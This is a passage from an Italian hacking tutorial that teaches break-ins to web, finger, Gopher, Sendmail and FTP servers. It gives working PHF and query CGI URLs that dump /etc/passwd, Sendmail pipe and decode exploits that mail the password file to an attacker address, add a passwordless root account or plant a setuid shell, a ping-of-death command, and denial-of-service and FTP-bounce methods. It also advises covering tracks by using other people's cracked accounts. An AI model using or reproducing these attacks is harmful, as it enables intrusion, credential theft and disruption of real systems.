Vi ho detto però che esistono DUE modi. Ecco il secondo: esiste su Internet un server molto simile all'Anonimizzatore di cui vi ho parlato in un volume precedente a questo. Si tratta di iPROXY (http://www.iproxy.com), un server che offre gratuitamente la possibilità di collegarsi anonimamente ai siti, digitando l'URL desiderato (vi dice niente?).
Non è ovviamente una tecnica, ma un servizio pensato per ben altri scopi che per l'hacking... ma meglio uno in più che in meno ^_^
~~~~~~

Tornando ai problemi di sicurezza...

Un altro bug di IIS è il seguente: aggiungendo uno (o una coppia) di punti alla fine di un file script, anzichè essere eseguito, il contenuto del file verrà visualizzato sullo schermo del vostro browser. Un altro bug simile permette di visualizzare file "segreti" (come pagine protette da password, documenti che non dovrebbero poter essere visualizzati in quanto "interni" e qualsiasi altro file presente sull'hard disk del server), in questo modo:

http://www.sito.com/..\..\..\..\qui_va_il_percorso\nome_del_file

Esistono molti altri bugs, per i quali vi rimando (nel caso di Windows) ai siti sulla sicurezza di Windows.

Passiamo ora agli altri Web server.

Restando in tema di Windows NT/95 un altro server che ha il problema degli script in cgi-bin è O'Reilly WebSite (versioni fino alla 1.1b).

Per leggere invece un file log (WebSTAR.LOG) del server WebStar per Macintosh basta utilizzare il codice escape al posto del punto (nel nome del file):

http://www.sito.com/WebSTAR%20LOG

Tenete presente che i bug fin qui descritti sono applicabili solo ai relativi software. Non cercate, pertanto, di utilizzare "time" con un server Unix o roba del genere.

TECNICHE DI BASE: I WEB SERVER UNIX

~~~~~~

Il Web server standard di Unix, Linux, ecc. è httpd della NCSA.

Tutte le versioni fino alla 1.4 hanno un bug molto frequente nel software server (lo ritroveremo ad esempio nei server SMTP, vecchi e nuovi).
Si tratta di un problema detto "buffer overflow", che consiste nel riempire tutta l'area di memoria riservata dal server ai dati, e fargli eseguire un programma (molto piccolo, e preferibilmente in assembler) scritto da noi.
Essendo una tecnica molto complessa la vedremo più avanti, poichè ci sarà più utile con SMTP (per avere accesso root) che con il Web, in quanto nei nuovi server questo problema sembra essere stato corretto.
Per la cronaca, lo stesso bug esiste anche nel server Apache (fino alla versione 1.02).

Esistono poi degli hack (un "hack" è una tecnica di hacking) che hanno letteralmente fatto storia.
Relativamente vecchio ma ancora molto utilizzato è quello del PHF, usato per hackerare le pagine Web di CIA, FBI e moltissimi altri, più o meno famosi. Prima di spiegare questa tecnica è bene precisare una cosa: se state leggendo questi volumi per imparare, non avrete certamente la capacità di rendervi "invisibili" agli occhi di un SysAdmin... quindi attenti a non utilizzare queste tecniche.
Molti siti (come ad esempio unina.it, l'Università di Napoli) hanno software in grado di riconoscere gli hack più conosciuti (tra cui PHF e Query).
Potrebbero far sospendere il vostro account Internet, se non denunciarvi...

Ma prima dobbiamo fare un breve corso sul sistema di password di Unix.
~~~~~~

TECNICHE DI BASE: UNIX E LE PASSWORD

~~~~~~

Riflettiamo un attimo: qual'è la parte più interessante di un sistema Unix (o Linux) ? Certamente il file delle password, nel quale si trova, in forma criptata, anche la password di root (oltre a quelle di tutti gli altri utenti).

Una classica entry (riga di testo contentente dati) di un file password è di questo tipo:

username:4cFJg5aMkC9f:1000:20:nome e cognome:/home/utente:/bin/ksh

I campi sono delimitati dai due punti, e sono:
- Nome utente (username)
- Password criptata
- Numero utente
- Numero gruppo
- GECOS (nome e cognome, oppure altre informazioni sull'utente)
- Directory utente (dalla quale in genere non potete uscire)
- Shell utilizzabile dall'utente (in genere limitata se non siete root)

nel caso in cui uno o più campi siano disabilitati, li troverete vuoti (i due punti saranno vicini) oppure troverete uno slash (/) al loro posto. Nel caso della shell, in alcuni casi troverete /bin/false che, in pratica, corrisponde allo slash (e quindi a nessuna shell).

Ma dove si trova il file delle password?

La directory standard è /etc e il file si chiama passwd, quindi il percorso completo sarebbe /etc/passwd ma la maggior parte dei nuovi sistemi ha un meccanismo denominato "shadowing" delle password. Per evitare di prelevare il file contentente le password, infatti, viene creato un secondo file, il cui nome in genere è shadow (in molti casi si troverà nella directory /etc) che contiene, in forma un pò diversa da quella appena vista, tutti i campi, comprese quindi le password (criptate), e NON è accessibile agli utenti.
Il file passwd, invece, conterrà tutti i soliti campi, ma al posto della password conterrà un simbolo, detto Token (che in genere è un asterisco).
Perchè questo? Le password sono criptate, ma è ancora possibile risalire ad esse, crackarle (da "crack"). Non si possono decriptare, ma si può usare una lista di parole probabili (detta dizionario), criptarle una per una e confrontare il risultato con le password criptate in passwd. Se coincidono, abbiamo trovato una password.
Ovviamente per fare tutto ciò si usano dei programmi appositi. I più usati (e i migliori) sono CrackerJack e HellFire Cracker. Praticamente tutti i siti Web contenenti materiale per hackers ne hanno una copia.
Tornando alle password, se un sistema usa lo shadowing, per risalire al vero file delle password, in base al sistema operativo usato potremo trovarlo in directory differenti, come mostrato in questa tabella tratta dalla HackFAQ:

Sistema Unix	Path (percorso) del file	Token
AIX 3 (caso 1)	/etc/security/passwd	!
AIX 3 (caso 2)	/tcb/auth/files/p/pippo	#
A/UX 3.0s	/tcb/files/auth/?/	*
BSD4.3-Reno	/etc/master.passwd	*
ConvexOS 10	/etc/shadpw	*
ConvexOS 11	/etc/shadow	*
DG/UX	/etc/tcb/aa/user/	*
~~~~~~

```
EP/IX                 /etc/shadow                     x
HP-UX                 /.secure/etc/passwd             *
IRIX 5                /etc/shadow                     x
Linux 1.1             /etc/shadow                     *
OSF/1                 /etc/passwd[.dir|.pag]          *
SCO Unix #.2.x        /tcb/auth/files/p/pippo         *
SunOS4.1+c2           /etc/security/passwd.adjunct    ##username
SunOS 5.0             /etc/shadow                     *
System V Release 4.0  /etc/shadow                     x
System V Release 4.2  /etc/security/* database        *
Ultrix 4              /etc/auth[.dir|.pag]            *
UNICOS                /etc/udb                        *
```

Ora che sappiamo cosa cercare (e dove), passiamo alle tecniche da impiegare.

Un file /etc/passwd standard può spesso essere prelevato tranquillamente con FTP oppure collegandosi ad un indirizzo come:

http://www.sito.com/ftp/etc/passwd

oppure...

ftp://ftp.sito.com/etc/passwd

tenendo però presente che in genere i SysAdmin leggono i log... scaricando il loro file delle password non li farete certo felici. Quindi, non appena riuscirete a procurarvi username e password di un account (che non sia nè vostro nè di amici, se ci tenete alle amicizie...) è consigliabile utilizzare quello anzichè il vostro account.

Una volta prelevato /etc/passwd diamogli un'occhiata: se il secondo campo di ciascun rigo (o di almeno un paio di essi) contiene una password criptata, possiamo essere quasi sicuri che non esista nessuno shadowing.
Dico *quasi* perché alcuni grossi server stranieri hanno recentemente usato dei file passwd fittizi. Crackandoli e provando a collegarsi con le password trovate, non si riesce a collegarsi... perché sono tutte false e servono a depistare l'hacker inesperto. E` raro che accada, ma è da tener presente.

Nel caso dovessimo trovare un Token al posto della password, ci affideremo alle tecniche di cui parlavamo in principio.

Il primo hack che descriveremo è quello del PHF.

PHF è una piccola utility di "agenda telefonica" presente in Unix, Linux, ecc. Anch'essa può essere usata in modo sovversivo, per far eseguire dei comandi qualsiasi a un server.

Basta collegarsi a un URL del genere:

http://www.sito.com/cgi-bin/phf?Jserver=x&Qalias=x%0A/bin/cat%20/etc/passwd

oppure più semplicemente...

http://www.sito.com/cgi-bin/phf?Qalias=x%0A/bin/cat%20/etc/passwd

usando /etc/shadow (o altri, vedi tabella sopra) al posto di /etc/passwd per "prelevare" il vero file delle password.

Quello che avviene "chiamando" questi URL è che il file PHF viene eseguito (vengono passati parametri fittizi, come Jserver e Qalias) e poi si simula un invio a capo (codice %0A) per inviare un nuovo comando, che nel nostro caso è /bin/cat /etc/passwd (%20 equivale allo spazio, ma si può usare anche "+" al suo posto), ma può essere *qualsiasi* comando si voglia.

In quel momento, infatti, abbiamo accesso root! =)
E come tali, possiamo eseguire comandi, creare, modificare, distruggere...

NOTA: il file /bin/cat equivale al comando "type" del DOS. Serve quindi a visualizzare un file, e occasionalmente anche a crearne uno o ad aggiungere righe di testo ad uno pre-esistente. Supponiamo di voler inserire una riga nel file "prova": in tal caso, useremo "cat" unitamente ai simboli di ridirezione > e >> e | (pipe), proprio come nel DOS.
Alcuni esempi:

/bin/cat prova > test	Crea un file col nome test e vi scrive "prova"
/bin/cat prova >> test	Aggiunge la parola "prova" al file "test"

Ovviamente per crackare un file shadow che, come abbiamo detto, usa un formato differente, dovremo prima effettuare il de-shadowing (trasformare shadow in formato passwd standard) e poi effettuare il cracking con i normali CrackerJack e simili.
Esistono su Internet programmi appositi per tale operazione.

Una tecnica molto simile a quella del PHF è quella del Query:

```
http://www.sito.com/cgi-bin/query?%0A/bin/cat%20/etc/passwd
```

che funziona in modo analogo a quello già visto del PHF.
Dopo il "?" andrebbe inserito qualcosa da richiedere al server, ma poichè a noi interessa solo eseguire comandi, ci "limiteremo" ancora una volta a scriverli dopo il codice %0A.

Un'ultima cosa che può tornarci utile è che molti server hanno un file chiamato test-cgi nella directory cgi-bin. Se tale file contiene il comando:

```
echo QUERY_STRING = $QUERY_STRING
```

potremo, ad esempio, dare un'occhiata alla directory di root ("/*") con il
seguente URL:

```
http://www.sito.com/cgi-bin/test-cgi?/*
```

o della directory corrente usando solo "*" anzichè "/*", e cosi` via.

POSTILLA

~~~~~~~~

Che lo si creda o meno, nonostante queste tecniche siano abbastanza vecchie e utilizzatissime, sono parecchi i server (anche quelli "importanti") che sono vulnerabili. Spesso inoltre non registrano neppure l'IP Address dell'hacker.
Ovviamente se il server vi risponde qualcosa come "il tuo tentativo di hackerare questo server sarà comunicato a chi di dovere" (in inglese) state pur certi che vi troverete nei guai. Quindi aspettate di diventare hackers prima di mettere in pratica... conoscere le tecniche non basta. Se credete di essere già diventati hackers conoscendole, mi dispiace deludervi... vi potrete solo mettere nei guai e farvi etichettare per sempre come patetici "lamer" (termine dispregiativo del gergo hacker per indicare un hacker nato perdente).

Ancora alcune lezioni sulle tecniche di base per gli altri tipi di servizi (FTP, SMTP, IRC, ecc.), e potremo iniziare con l'hacking. Sarà necessario conoscerle bene perché non torneremo più su tali argomenti, a meno che non sia necessario aggiungere qualcosa.
~~~~~~~~

TECNICHE DI BASE: MISCELLANEA

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Nel volume precedente abbiamo visto come sfruttare alcuni problemi di sicurezza del software server.
Dal momento che è necessario conoscere tipo e versione del software e sistema operativo, dobbiamo sapere come avere tali informazioni.
Ancora una volta ci torna comodo utilizzare Telnet. Basterà infatti collegarsi alla porta del servizio interessato per ottenere quasi sempre informazioni preziose.

Ad esempio, se ci colleghiamo alla porta HTTP, FTP o SMTP, il server ci "saluterà" indicandoci tipo e versione del software, data locale e altre utili informazioni.
Altre ancora possiamo ottenerle tramite il programma "finger", che serve a mostrare informazioni su un dato utente di un dato sistema. Alcuni siti inoltre ci risparmiano la fatica di cercare: infatti, i Webmaster dopo aver acquistato un "potente" software server, scrivono orgogliosi sulle loro pagine "questo sito utilizza il software xxxxx versione yyyyy"...
Un'ulteriore nota sulla porta HTTP: i vecchi server (versioni fino alla 1.3) di httpd (per Unix e Linux) possono essere crashati richiedento un URL con un formato sbagliato. Esistono in giro diversi exploit sull'argomento, e pertanto vi rimando alle mailing list sulla sicurezza su Internet.

NOTA: da ora in poi quando parlerò di Unix mi riferirò anche a Linux, AIX, Solaris, ecc. a meno che sia diversamente specificato.

Prima di procedere vorrei farvi notare che non è necessario scrivere in tempo reale i vostri comandi in Telnet (anche perché correte il rischio di sbagliare e non poter cancellare). Moltissimi client hanno le funzioni Copy e Paste (Copia e Incolla), che potete usare unitamente a un programma di videoscrittura (come il Block Notes di Windows) per velocizzare le operazioni (e ridurre il numero di cifre sulla vostra bolletta telefonica).
Vi basterà infatti scrivere tutti i comandi nel block notes, usare Copy e poi, una volta in Telnet, usare Paste. Un consiglio: non usate testi troppo lunghi, perché alcuni server potrebbero non essere abbastanza veloci per riceverli.
Altri programmi vulnerabili a un attacco tramite Telnet sono Finger, Ping, Gopher, Pine e altri; in pratica, per quasi tutti quelli esistenti esiste un hack su misura.

Ovviamente per capire di cosa sto parlando vi serviranno i programmi in questione. Iniziamo da finger.
Usando @ oppure 0 (o uno degli username standard come root, bin, ftp, system, demo, guest, ecc.) nell'effettuare una richiesta tramite finger è possibile ottenere (specie con i vecchi server) svariate informazioni.

Ma supponiamo ora di voler crashare il server finger. Per quale motivo?
Siamo tutti hackers.malicious o crackers? ;) No, il motivo è un altro: se il server finger (per Unix) dovesse crashare, noi avremmo accesso root.
Perchè? Se il server crasha, non avremo più un "interprete" dall'altra parte che "filtra" i nostri comandi e ci da informazioni quando scriviamo finger... ma avremo una specie di connessione diretta alla shell dei comandi con il livello d'accesso massimo (root, per l'appunto).

Ecco come si fa: (non sbavate, siamo ancora al principio ;)
utilizzando Telnet, il cui scopo è fornire una connessione e lasciarla nelle nostre mani, ci colleghiamo alla porta 79 (finger) del server desiderato (assicuriamoci però prima che il sistema operativo sia effettivamente Unix e che abbia il server finger attivato).
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Ora, quello che fa un normale client finger è semplicemente inviare il comando "finger nomeutente" e visualizzare le informazioni ricevute.
Nient'altro. E` uno spreco... tanto potere buttato al vento =)
E pensare che finger ha anche accesso a tutte le directory degli utenti, e a saperlo controllare si potrebbero anche "ritoccare" i vari files...

Ma noi, che abbiamo ben altre intenzioni (buone... lo dico per il NOPT, il Nucleo Operativo di Polizia Telematica ;) possiamo fare di meglio.
Scrivendo ///* seguito dalla combinazione Ctrl-S accederete a root e paralizzerete il server (Ctrl-S è un codice di controllo detto "freeze", cioè "congela"). A questo punto la connessione è in mano vostra.

Il client finger può essere usato per un attacco di tipo D.O.S. (Denial Of Service, cioè negare l'accesso a un servizio disattivandolo).
Se usiamo finger per collegarci a un server troppe volte (lasciando "aperta" ogni connessione) dopo un pò il server rifiuterà a chiunque altro di collegarsi, e l'intero server del sito verrà rallentato; in alcuni casi potrebbe addirittura crashare.
Per fare una cosa del genere bisognerebbe chiamare decine di volte lo stesso programma... una soluzione migliore consiste nel programmare da sè una utility che effettui molte connessioni alla stessa porta dello stesso server.

Se il vostro client lo consente, potete nascondere il vostro IP Address effettuando un "bounce" (rimbalzo). In pratica si tratta di richiedere a un server di fare la stessa richiesta a un altro server, per far risultare come "richiedente" il suo IP Address anzichè il nostro.
Il comando è nel formato: finger @sito.com@altrosito.com

Non preoccupatevi se non avete capito tutto: vi torneranno utili quando dovrete studiare un attacco e conoscerete meglio l'Arte.
Nota su finger: alcuni siti (mi sembra di ricordare quello della Microsoft) disabilitano finger per evitare problemi... in alcuni casi però si limitano a disabilitarlo, NON a cancellarlo dalla directory del server.
Potrete quindi accedervi usando questo URL:

```
http://www.sito.com/cgi-bin/finger
```

e per passare i parametri aggiungete "?" e i vostri comandi con il metodo della codifica degli URL descritta nei volumi precedenti.
Personalmente non ho provato la tecnica del ///*^S su server non-Unix (come Windows NT e 95) in quanto essa è basata sulla struttura di Unix. Comunque potrebbe essere interessante provare; da cosa nasce cosa...

Passiamo ora a Ping.

Combinato a Finger, Ping è eccellente per effettuare un attacco D.O.S. in quanto è utilizzato praticamente ovunque, e non correte il rischio di non poterlo utilizzare come accade in alcuni casi con Finger.
Per chi non lo conosce, diciamo che Ping è un programma per controllare la presenza di un sito su Internet e valutare la sua velocità di collegamento.

Il funzionamento è molto simile: aprire molte connessioni a un server, fino a che questo collasserà per il troppo lavoro richiesto alla CPU.
Se avete la possibilità di scegliere tra Ping e Ping-f vi consiglio di scegliere quest'ultimo, in quanto è estremamente più veloce.
Linux è inoltre vulnerabile a un particolare attacco: da un computer che usi Windows 95 o NT si può usare questo comando:

```
ping -l 65510 sito.com
```

dove sito.com è un sito che usa Linux (versioni fino alla 2.0.20 esclusa).
La macchina si bloccherà e si riavvierà automaticamente.
Potete sperimentare anche altri valori tra 65508 e 65527 in luogo di 65510.

Le vecchie versioni di Gopher hanno un serio bug: creando un file .links su un server gopher pubblico, contenente queste linee di testo:

```
Type=8
Name=Sceglimi
Host=;/bin/sh
Port=
Path=
```

potete collegarvi a Gopher, entrare nella directory dove avete piazzato il file .links e scegliere la voce "Sceglimi". Il comando messo dopo "Host=;" verrà eseguito (nel nostro caso, una shell com accesso root).

Dal prossimo volume inizieremo con tecniche raffinate che vi consentiranno di fare cose impensabili. Siate certi di aver prima imparato quelle sin qui descritte, o non potrete apprendere quelle più complesse.

TECNICHE AVANZATE: SENDMAIL

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Sarete felici di sapere che questo è l'ultimo volume sulle tecniche fondamentali e gli exploit. Dal prossimo inizieremo con l'hacking vero e proprio, e metteremo in pratica (con grande dolore da parte dei SysAdmin) quello che faremo di volta in volta. Ovviamente mi aspetterò che ora che avete abbastanza informazioni di base abbiate chiari concetti come server e client, FakeMail, come fare piccole cose come trovare la versione di un server, ecc. Se qualcosa non dovesse essere chiaro, non esitate a scrivermi e ad esporre il problema. Cercherò di rispondervi non appena avrò trovato abbatanza tempo. NON chiedetemi qual'è la password di un sito xxx o dove trovare la versione pirata di un gioco. Siamo hackers, non pirati.

Qualcuno mi ha chiesto perché sto scrivendo questa "enciclopedia".
Beh, forse perché è quello che ho sempre cercato e non ho mai trovato quando volevo imparare l'hacking... e poi credo che sia molto più completa di quei piccoli files sulle basi dell'hacking scritti da hackers, per hackers. Ma quale sarebbe lo scopo? Se uno è già hacker, non ha bisogno di imparare le basi di quello che conosce già... okay, parentesi chiusa.

Quello che partirà dal prossimo volume sarà pertanto un vero e proprio corso di hacking a puntate (con tanto di supporto via email), dedicato a tutti coloro che mi hanno scritto e hanno creduto in questo progetto di divulgazione, siano essi hackers o wannabe (futuri hackers, speriamo).

Iniziamo dunque questo ultimo volume sulle tecniche con una breve descrizione del servizio di posta elettronica di Unix.

Il programma server che risponde a chi si collega alla porta SMTP (25) è chiamato Sendmail. Come abbiamo visto in un precedente volume, all'atto del collegamento via Telnet avremo una risposta di questo genere:

220 server.com Sendmail 8.6/8.7 12/31/97 ready at Sun, 23 Oct 97 19:44:03 PDT

(il numero di versione di un server lo troviamo anche sbirciando tra gli headers delle emails che riceviamo quotidianamente).

I numeri 8.6/8.7 dopo la parola "Sendmail" (oppure "Smail") rappresentano la versione del server SMTP. Mettiamo una volta per tutte in chiaro che SMTP è il nome del servizio (della porta 25) e Sendmail è il nome del programma che si occupa di gestire SMTP: in pratica Sendmail è il server SMTP di Unix.

Dunque, perché dovremmo voler conoscere il numero di versione di Sendmail?

Sendmail è famoso tra gli hackers come il programma più "bacato" esistente.
Basti pensare che praticamente tutte le versioni di Sendmail in giro (anche quelle più nuove) hanno un qualche bug che un hacker può sfruttare per guadagnare illecitamente accesso a un sistema.

E il bello è il modo in cui lo si fa; non tramite una password o chissà cosa, ma dalla parte più "innocua" di un sistema informatico: la posta elettronica!

Vogliamo vedere cosa si può fare con Sendmail? :)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Iniziamo con le sottoversioni della 8.6 (più precisamente le 8.6.6 e 8.6.7).
Vogliamo una shell root? Niente di più facile: basterà chiamare il programma Sendmail con il parametro -d seguito da un numero molto grande, come nel seguente esempio:

```
Sendmail -d3344556677
```

Se non avete un accesso diretto al server (e quindi state "lavorando" da remoto) avrete bisogno di una shell per "chiamare" Sendmail.
Come ottenerla sarà oggetto dei prossimi volumi, ma se andate di fretta potete sempre prendere un file passwd o shadow e crackarlo per avere accesso shell. L'ideale sarebbe un account di quale Università...
Oppure potreste usare l'hack del PHF (o della Query, come ultima risorsa) per eseguire il comando senza bisogno di shell interattiva.
Ancora una volta vi consiglio di aspettare di conoscere TUTTA la materia, prima di mettere in pratica... ancora non sapete come nascondervi in un sistema, quindi non abbiate fretta. Se proprio volete testare qualcosa, procuratevi Linux (se non l'avete già), installatelo sul VOSTRO computer e provate.

Per la cronaca, la sottoversione 8.6.9 non è vulnerabile a quest'attacco, ma anche qui si può avere una shell root, utilizzando un exploit che si trova sui siti per hackers. Si tratta di un programmino in C (creato da Atreus).
Non lo includo perché dalla versione 8.6.12 (compresa) in poi tale exploit non funziona.

NOTA: la maggior parte dei problemi di sicurezza vengono fatti notare e molto spesso anche risolti proprio dagli hackers. Se non ci fossero gli hackers saremmo rimasti a versioni... preistoriche, dove bastava scrivere WIZ per avere tutto un computer ai propri comandi. Un motivo in più per smettere di prendersela con noi se si assume personale incapace di gestire seriamente un sistema informatico, sia esso in rete o meno.

Ci sono molte altre versioni 8.x.x bacate, ma poichè si tratta di piccoli bug tutti diversi è consigliabile cercare quello che interessa sul sito di 8lgm (http://www.8lgm.org), che elenca tutti i bug e ne dà un hack completo per ciascuno, o su L0pht (http://www.l0pht.com).

Unix assegna un livello utente (UID, cioè User IDentifier) e un livello di gruppo (GID, cioè Group IDentifier) a ciascun utente.
Un UID pari a 0 è (quasi sempre) un utente root.
Se ad esempio nel file passwd di un sito troviamo...

```
root:7u89vCSK0oL:amministratore:0:0:/:/bin/sh
```

il primo numero (0) è UID e il secondo (0) è GID.

E` possibile sfruttare un bug di Sendmail per forzare il nostro UID a 0... e diventare root :) Supponiamo infatti di aver crackato la password di un utente qualsiasi, ma di non riuscire ad accedere a root... come fare?
Utilizzando questo hack sul Sendmail. Bisognerà innanzitutto avere accesso a una shell; molti utenti hanno una shell, anche se limitata, ma servirà allo scopo. Se proprio non riuscite a procurarvene una, collegatevi a una delle tantissime BBS via Telnet presenti su Internet. Esse sono quasi sempre ad accesso gratuito e usano sistemi Unix, con tanto di shell per gli utenti.
Non sono shell root... ma sapremo accontentarci, dal momento che da una shell ad accesso limitato si può arrivare a root.
Alcuni siti, come quello di Lord Somer (http://www.ilf.net/LordSomer/), hanno intere liste di BBS Telnet. Dovete solo scegliere quella che preferite.

Dicevamo, come forzare UID a 0 ora che abbiamo una shell?
Digitando quanto segue:

```
% cat ~/.forward                                    <-- noi
                                                    <-- noi
miosito.com miousername                             <-- noi
^D                                                  <-- noi (premere Ctrl-D)
% smail -bs -D ~root/.rhosts -v20                   <-- noi
220 provider.com Sendmail x.x.x.x ready ecc...      <-- server
```

```
expn root                                              <-- noi
250                                                 <-- server
quit                                                   <-- noi
% rsh -l root lamesite.com tcsh\ -i                   <-- noi
WARNING: no access to TTY (bad file number)            <-- server
# id                                                   <-- noi
UID=0 GID=0                                            <-- server
```

Nell'ultima riga, quando scriviamo il comando ID, il server risponde che il nostro UID e il nostro GID sono uguali a 0... il che significa... beh, lo avete capito =)

I vecchi server Sendmail (versioni 5.xx) hanno dei bug estremamente gravi;
basti pensare alla versione 5.64 che permette di sfruttare il programma "decode" (uudecode) di Unix per "eliminare" l'accesso tramite password.
In pratica, inviando una FakeMail (con Telnet) di questo tipo:

```
HELO hacker.com
MAIL FROM: bin
RCPT TO: decode
DATA
begin 644 /usr/bin/.rhosts
$*R`K"@``
`
end
.
QUIT
```

sarà poi possibile utilizzare un client rlogin per collegarsi senza bisogno di password. Ma come è stato possibile? Quello che è successo è questo:
il file .rhosts di Unix contiene una lista di hostname e username ai quali è consentito l'accesso. Mettendo un + al posto di hostname e username si consente l'accesso a chiunque, ed è esattamente questo ciò che abbiamo fatto: la linea dopo "begin 644..." non è altro che tale comando (+ +) codificato con il programma encode (uuencode). Inviando questa FakeMail a decode (uudecode) quel codice verrà ritrasformato in "+ +" e scritto nel file /usr/bin/.rhosts (vedi sopra).
Basterà dunque procurarsi un client rlogin per accedere tranquillamente al server...

La versione 5.65 di Sendmail (la successiva a quella appena vista, creata per risolvere quel problema) è ancora più pericolosa... ;)
Infatti basta inviare via Telnet i seguenti comandi:

```
HELO hackers.com
MAIL FROM: |/usr/ucb/tail|/usr/bin/sh
RCPT TO: prova
DATA
From: pirata@hackers.com
Return-Receipt-To: |nessuno

#!/bin/sh
COMANDI
.
QUIT
```

Al posto di "COMANDI" vanno inseriti uno o più comandi shell (su righe separate), come ad esempio:

```
/bin/mail pirata@hackers.com < /etc/passwd
```

per inviare a voi stessi il file /etc/passwd (o qualsiasi altro), oppure:

```
echo prova::0:0::/:/bin/sh >> /etc/passwd
```

per aggiungere l'account "prova" (con accesso root, senza password, con shell root e accesso a tutto l'hard disk....) al file /etc/passwd (notate i due >> anzichè uno solo). O ancora:

```
chmod 777 /etc/passwd
```

per rendere il file /etc/passwd (o altro) prelevabile senza restrizioni, o:

```
cp /bin/sh /tmp/pirata
chmod 6777 /tmp/pirata
```

dove nella prima riga copiamo (cp) la shell (/bin/sh) nella directory /tmp col nome di "pirata" (vi consiglio di cambiare questo nome :)
Nella seconda riga diamo accesso al file /tmp/pirata a chiunque, anche a un utente qualunque. Tale file non è altro, come abbiamo visto, che la shell.
Quindi basterà andare in /tmp ogniqualvolta vi servirà una shell root, e digitare "pirata" per invocare la shell ed eseguire un qualsiasi comando.

Un altro hack famoso è quello dell'attacco del pipe, funzionante su versione 5.56 (e altre). Funziona cosi`: si prepara una semplice FakeMail del tipo...

```
HELO hacker.com
MAIL FROM:<"|/bin/mail pirata@hackers.com < /etc/passwd">
RCPT TO:<"pirata@hotmail.com">
DATA
questa è una prova...
.
QUIT
```

e, se il server è vulnerabile, riceveremo il file /etc/passwd via e-mail.
Naturalmente si potrà usare qualsiasi comando dopo il pipe (il "|").

TECNICHE AVANZATE: FTP BOUNCE

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Passiamo ora a qualcosa di veramente interessante: FTP. Vi chiederete: ma FTP non serve solo a trasferire i file?
La risposta è no. Beh, dovrebbe essere si... ma sapete com'è... un hacker è un pò come un bambino curioso che si diverte di più a "smontare" un giocattolo che a usarlo per quello a cui servirebbe =)

Innanzitutto sappiate che FTP altro non è che una sessione di Telnet con qualche piccolo extra in più (il trasferimento di file).
Esistono infatti dei comandi "interni", come abbiamo visto per SMTP, e quindi anche FTP è gestibile (in parte) tramite Telnet.

La tecnica che ci accingiamo a studiare è detta "FTP Bounce" (rimbalzo dell'FTP).

Vi servirà innanzitutto un server FTP che vi permetta di inviare e prelevare files da una directory qualsiasi. Potete tranquillamente trovare tali server cercando la parola "warez" (software commerciale piratato) con un motore di ricerca di files come "FTP Search" (http://ftpsearch.ntnu.no/ftpsearch), oppure "Filez" (http://www.filez.com); prendete nota anche della directory che verrà visualizzata accanto al nome del server che la contiene.

Ora provate a collegarvi a uno di quei server, ed a entrare nella directory "warez" (o un'altra in cui si possano leggere e scrivere i files). Provate a inviare un file di prova e a prelevarlo di nuovo, per controllare se è questo il server "giusto". Se tutto funziona, lo avete trovato, altrimenti usatene un altro (ce ne sono moltissimi).

Questo server sarà la vostra "base". In tutti gli attacchi che effettuerete verrà visualizzato l'IP Address di questo server, anzichè il vostro.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Ora studiamo il funzionamento dell'attacco, in modo da poterlo adattare a qualsiasi nostro bisogno, per poter magari anche inventare nuovi metodi di utilizzo a seconda delle necessità.

Dovremo innanzitutto creare un file (vedremo tra poco come) che contenga i comandi che vogliamo far eseguire (in base a ciò che vogliamo fare).
Non preoccupatevi ora del suo contenuto. Per ora ci interessa solo studiare il funzionamento della tecnica, e poi procedere con gli esempi.

Ora ci servirà un normale programma client FTP (come Cute-FTP e WS-FTP se usate Windows, oppure il comando FTP di Linux). Lo useremo per inviare il file di cui sopra nel server "base" che abbiamo scelto prima.

Una volta inviato il nostro file, chiuderemo FTP e passeremo a Telnet.
La porta di FTP è la numero 21. Colleghiamoci dunque al server "base" alla porta 21 e aspettiamo una risposta. Ora potremo inserire i comandi:

```
USER anonymous
PASS nessuno@niente.com
```

e, se l'accesso anonimo è abilitato (come succede nel 90% dei casi), il server risponderà qualcosa come "User anonymous logged in". Siamo dentro.

Dobbiamo ora conoscere l'IP Address del server da attaccare. Perciò avremo bisogno di un programma DNS per risalire dall'host name all'IP Address.

Ora digitiamo (in Telnet) il comando PORT x,x,x,x,0,y dove x,x,x,x è l'IP Address del server da attaccare e y è la porta del servizio da attaccare (21 per FTP, 80 per il Web, e cosi` via).
Notate che l'IP Address in questo caso non usa punti per separare i numeri ma delle virgole.

Quello che succede inserendo il comando PORT è questo: diciamo al server FTP di collegarsi all'IP Address e alla porta che gli diamo come parametri.
In pratica, sarà il server FTP a collegarsi, anzichè noi... abbiamo cosi` il server come "complice", in quanto sarà lui a fare tutte le operazioni e le eventuali tracce lasciate saranno le sue! :) Noi siamo nell'ombra... (vi renderete conto che questo è un ottimo mezzo per nascondere in un modo impensabile le proprie tracce, qualsiasi cosa vi serva fare).

Basterà ora digitare RETR nomedelfileinviato e tutti i comandi desiderati saranno inviati dalla "base" alla "vittima".

Ma ora basta teoria, passiamo a qualche esempio esplicativo.

Vogliamo ad esempio inviare una FakeMail impossibile da rintracciare?
Allora studiamo il problema in questi termini:
1) quali tipi di comandi dovremo inserire nel file?
2) quale servizio stiamo hackerando?
3) quale server useremo come destinazione?

Ecco le risposte:
1) i comandi saranno per SMTP, dovendo noi inviare una FakeMail
2) il servizio è, come abbiamo appena detto, la posta, cioè SMTP
3) un qualsiasi server SMTP andrà bene; usaremo DNS per conoscerne l'IP Address (che in questo esempio supponiamo essere 123.45.67.89)

Ora ci colleghiamo, come abbiamo fatto prima, al server "base" (FTP) con il client FTP e inviamo i comandi (che avremo scritto prima di iniziare il collegamento) della FakeMail: HELO, MAIL FROM, ecc. (la solita FakeMail).
Adesso useremo Telnet sul server "base" (la porta è sempre 21, fin qui rimane sempre tutto uguale) e digitiamo PORT 123,45,67,89,0,25 dove 123,45,67,89 è l'IP Address del server che dovrà eseguire il nostro file (il server di posta), ma con le virgole anzichè i punti (questo è il formato richiesto da FTP), mentre 25 è la porta SMTP.
Infine scriveremo RETR nomedelfileinviato per avviare l'esecuzione dei comandi. Dopo poco tempo la FakeMail verrà inviata dal server, ma senza un IP Address che riveli la nostra identità.

